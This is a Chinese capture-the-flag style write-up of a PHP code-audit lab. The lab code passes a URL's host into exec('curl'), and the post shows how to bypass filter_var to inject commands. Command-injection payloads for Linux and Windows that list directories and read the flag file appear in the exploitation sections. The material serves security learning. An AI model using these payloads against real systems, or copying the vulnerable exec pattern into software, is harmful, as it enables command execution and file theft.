這里寫目錄標題
- 紅日安全代碼審計——day2
- 原始碼分析
- linux下的利用
- windows下的利用
紅日安全代碼審計——day2
原專案地址:
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day2/files/README.md
本文是對day2課后習題的解題及學習
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

原始碼分析
分析原始碼,看到exec函式處就知道是讓我們構造一個代碼執行,讀取f1agi3hEre.php中的falg,
通過GET方式傳入url,要能通過第一個if判斷,這里filter_var的過濾器FILTER_VALIDATE_URL的過濾規則為:把值作為URL來驗證且默認模式下必須帶有http://、ssh://等協議,接著向下,parse_url將我們傳入的url進行分割,對主機名進行第二個if判斷,判斷主機名的尾部是否是sec-redclub.com,判斷正確即可執行下面的命令執行陳述句:exec('curl "'.$site_info['host'].'"', $result); ,
這里想要通過第一個判斷,url中必須包含
http://等協議和sec-redclub.com
這讓我想到了url重定向和cors的繞過方式
backurl=http://example.com@sec-redclub.com //url重定向
那就先試試這種方式行不行

發現這種方式是可行的,也能通過第二個判斷,而要想讀取flag還要回到命令執行的原始碼之中去
exec('curl "'.$site_info['host'].'"', $result);
我們希望構造的陳述句為
exec('curl "'.http://+待執行的命令+sec-redclub.com .'"',$result);
linux下的利用
這里我并沒有分析出利用方式,但看了紅日團隊的解題知道了思路:
和sql注入的拼湊方式相似,這里我們可以通過使用多命令執行符讓其執行多個命令,紅日團隊給出的利用方式為:
url=demo://";ls;#;sec-redclub.com:80/
注意:這里使用demo://替換http://的原因為http://中加入特殊符號無法通過filter_var的過濾
繼續,拼接進原代碼中為:
exec('curl "demo://"; ls ; # ;sec-redclub.com:80/'
同時執行多個命令,即使前面一個和最后一個執行不成功也沒關系,只要我們想要的 ls 執行成功了就行
與此相似,將 ls 改成 cat f1agi3hEre.php 即可讀取flag
但這里cat后的空格無法通過filter_var的檢測,所以改成cat<f1agi3hEre.php即可讀取flag

紅日團隊構造的陳述句為:
url=demo://";ls;%23;sec-redclub.com:80/
url=demo://";cat<f1agi3hEre.php;%23;sec-redclub.com:80/
windows下的利用
但是!
在我的環境中執行后確實這樣的

這樣的

想了好長時間,和官方給的解題對比了好幾遍都沒有發現問題
后來猛然想起來我他喵的是用windows搭的環境,而紅日團隊用的是linux,,,
修改成windows的命令,多行命令連接符也要修改,就變成了如下這樣
url=demo://"||dir||"sec-redclub.com:80/
拼接到原始碼中就是:
curl"demo://"||dir||"sec-redclub.com:80/
解釋:當curl"demo://"執行失敗時執行dir,若dir執行失敗則執行后面的

讀取flag:
url=demo://"||type,f1agi3hEre.php||"sec-redclub.com:80/
這里使用逗號代替空格,原因是空格無法通過filter_var的過濾

成功
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/287094.html
標籤:其他
上一篇:洋蔥omall是什么
